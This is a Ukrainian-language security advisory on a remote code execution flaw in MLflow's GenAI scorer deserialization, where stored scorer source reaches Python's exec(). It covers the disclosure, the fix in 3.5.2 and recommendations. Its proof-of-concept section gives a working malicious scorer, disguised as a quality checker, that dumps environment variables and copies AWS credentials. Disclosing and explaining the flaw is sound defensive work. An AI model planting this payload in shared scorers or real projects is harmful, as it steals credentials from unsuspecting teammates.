Віддалене виконання коду через десеріалізацію GenAI-скорерів у MLflow
Автор: Evan Harris
Ризик: Високий
Уражений компонент: GenAI-скорери MLflow (mlflow/mlflow)
Стисло
Механізм десеріалізації GenAI-скорерів у MLflow містив вразливість віддаленого виконання коду. Утиліта recreate_function() у scorer_utils.py передавала контрольовані зловмисником дані скорера (збережені у базі даних відстеження MLflow) безпосередньо до exec() Python. Шкідливий скорер, зареєстрований одним користувачем, виконує довільний код на машині будь-кого, хто пізніше його отримає та запустить, що уможливлює атаку на ланцюг постачання в межах усієї ML-команди. Ми повідомили про проблему супровідникам MLflow, які виправили її, обмеживши реєстрацію та завантаження користувацьких скорерів середовищами під контролем Databricks. Користувачам слід оновитися до MLflow 3.5.2 або новішої версії.
Передумови
Модуль GenAI у MLflow дозволяє командам визначати скорери, тобто функції Python, які оцінюють якість виводу LLM (перевірки довжини, безпеки контенту, форматування тощо). Скорери можна створювати за допомогою декоратора @scorer, реєструвати для експерименту, а пізніше отримувати за іменем через get_scorer(), щоб колеги могли повторно використовувати спільну оцінку.
Щоб це працювало, MLflow серіалізує базову функцію скорера та зберігає її у базі даних відстеження. Коли скорер отримують, MLflow відновлює функцію з цих збережених даних. Саме на етапі відновлення й перебувала вразливість: серіалізоване джерело відтворювалося викликом exec() Python, який виконує будь-який переданий йому код. Оскільки збережені дані повністю контролюються зловмисником, будь-хто, хто міг зареєструвати скорер, міг закласти код, що виконається всередині процесу іншого користувача.
Огляд
Вразливість спрацьовує вздовж єдиного ланцюга викликів десеріалізації, що завершується на exec():
%%{init: {'themeVariables': {'fontSize': '18px'}}}%%
flowchart TD
A[Attacker authors malicious @scorer
with payload hidden in the body] --> B[Distributed via PyPI, GitHub,
or shared Python module]
B --> C[Victim imports and registers
the scorer with MLflow]
C --> D[Serialized function stored in
tracking database]
D --> E["get_scorer(name, experiment_id)
registry.py:571"]
E --> F["Scorer.model_validate()
base.py:222"]
F --> G["_reconstruct_decorator_scorer()
base.py:298"]
G --> H["recreate_function()
scorer_utils.py:131"]
H --> I["exec(attacker_source)"]
I --> J[Remote Code Execution
in victim process]
style A fill:#ffebee
style B fill:#ffebee
style C fill:#fff3e0
style D fill:#fff9c4
style E fill:#fff9c4
style F fill:#fff9c4
style G fill:#fff9c4
style H fill:#ffcdd2
style I fill:#ffcdd2
style J fill:#ffcdd2
Ланцюг викликів такий:
mlflow.genai.scorers.get_scorer()
→ Scorer.model_validate() # registry.py:571
→ _reconstruct_decorator_scorer() # base.py:222
→ recreate_function() # base.py:298
→ exec() # scorer_utils.py:131 ← REMOTE CODE EXECUTION
Сценарій атаки
- Зловмисник створює скорер, який має вигляд легітимного (“перевіряч якості” з правдоподібним docstring), але приховує шкідливе корисне навантаження у тілі функції.
- Зловмисник поширює скорер через канал, якому жертва довіряє: пакет PyPI, командний репозиторій GitHub або спільний модуль Python.
- Жертва імпортує скорер і реєструє його в MLflow. Серіалізована функція записується до бази даних відстеження.
- Пізніше, можливо, на іншій машині, іншим членом команди, за дні чи тижні по тому, хтось отримує скорер через
get_scorer()і використовує його. - Під час десеріалізації
recreate_function()викликаєexec()для збереженого джерела. Приховане корисне навантаження виконується з повними привілеями процесу жертви.
Оскільки спрацьовування відокремлене у часі та між користувачами від реєстрації, атака є тихою: один шкідливий скорер, зареєстрований одноразово, може скомпрометувати кожного в команді, хто пізніше його завантажить.
Демонстрація (Proof of Concept)
Шкідливий скорер нижче видає себе за перевіряч якості виводу. Тіло містить корисне навантаження, яке створює файл-маркер, вивантажує змінні середовища та збирає облікові дані AWS, перш ніж повернути правдоподібний результат, щоб уникнути підозр:
from mlflow.genai.scorers import scorer
@scorer
def quality_checker(outputs):
"""
Quality checker for LLM outputs.
Validates that outputs meet quality standards:
- Minimum length requirements
- No offensive content
- Proper formatting
Returns:
bool: True if output passes quality checks
"""
# MALICIOUS PAYLOAD HIDDEN BELOW
import os
# Create proof file
os.system('touch /tmp/rce_supply_chain.txt')
os.system('echo "COMPROMISED VIA SUPPLY CHAIN" > /tmp/rce_supply_chain.txt')
# Exfiltrate environment variables
env_data = dict(os.environ)
with open('/tmp/exfiltrated_env.txt', 'w') as f:
f.write("EXFILTRATED ENVIRONMENT:\n")
for key, value in list(env_data.items())[:10]:
f.write(f'{key}={value}\n')
# Harvest AWS credentials
aws_creds_path = os.path.expanduser('~/.aws/credentials')
if os.path.exists(aws_creds_path):
with open(aws_creds_path, 'r') as f_in:
with open('/tmp/aws_credentials_stolen.txt', 'w') as f_out:
f_out.write(f_in.read())
# Return a valid result to avoid suspicion
return len(outputs) > 10
Жертва отримує спільний скорер так, як робить це зазвичай:
import mlflow
from mlflow.genai.scorers import get_scorer
# Different machine, different user, or days later
mlflow.set_tracking_uri("sqlite:///mlflow_tracking/mlflow.db")
scorer = get_scorer(name="quality_checker_v1", experiment_id="1")
А потім використовує його:
result = scorer(outputs="This is test output to evaluate")
У цей момент спрацьовує RCE, і корисне навантаження виконується у процесі жертви.
Наслідки
Залежно від корисного навантаження, закладеного у недовірені дані скорера, зловмисник може:
- Виконувати довільний код Python з повними привілеями процесу жертви
- Вивантажувати конфіденційні дані, такі як облікові дані, змінні середовища та вихідний код
- Збирати облікові дані зі звичних розташувань (AWS, Docker, SSH)
- Забезпечувати закріплення на машині жертви
- Здійснювати бічне переміщення та мережеву розвідку
Наслідки посилюються тим, що вада має природу ланцюга постачання: один шкідливий скорер, зареєстрований єдиним членом команди, може скомпрометувати кожного користувача, який пізніше його отримає, причому спрацьовування відбувається тихо, задовго після реєстрації.
Відповідь MLflow
Після того, як ми розкрили проблему через процес скоординованого розкриття MLflow, супровідники усунули її у pull request #18493.
Замість того щоб намагатися ізолювати в пісочниці чи перевіряти десеріалізоване джерело, супровідники прибрали небезпечну можливість за межами контрольованих середовищ: реєстрація та завантаження користувацьких скорерів на основі коду тепер обмежені середовищами відстеження Databricks, де набір користувачів, які можуть завантажувати скорери, є контрольованим. Користувачів на інших бекендах відстеження спрямовують до безпечніших альтернатив, таких як вбудовані скорери та скорери на основі make_judge(), які не потребують виконання довільного коду під час десеріалізації.
Виправлення вийшло у MLflow 3.5.2.
Рекомендації
Для кінцевих користувачів
- Оновіться до MLflow 3.5.2 або новішої версії.
- Реєструйте та отримуйте користувацькі скорери лише з джерел, яким ви повністю довіряєте.
- Ставтеся до даних скорера у базі даних відстеження як до недовіреного коду, а не як до інертних даних. Будь-хто, хто може писати у сховище відстеження, здатен виконувати код на кожному споживачі.
- Надавайте перевагу вбудованим скорерам або скорерам
make_judge(), які не виконують довільний код під час десеріалізації. - Обмежте доступ на запис до спільних баз даних відстеження та перевіряйте скорери перед повторним використанням у команді.
Хронологія
| Дата | Подія |
|---|---|
| 20 жовтня 2025 | Про вразливість повідомлено супровідникам MLflow у межах скоординованого розкриття (issue #18404) |
| 24 жовтня 2025 | MLflow об’єднує виправлення (PR #18493), випущене у v3.5.2 |
| 8 січня 2026 | huntr позначив проблему як дублікат |
| 8 червня 2026 | Публічне розкриття |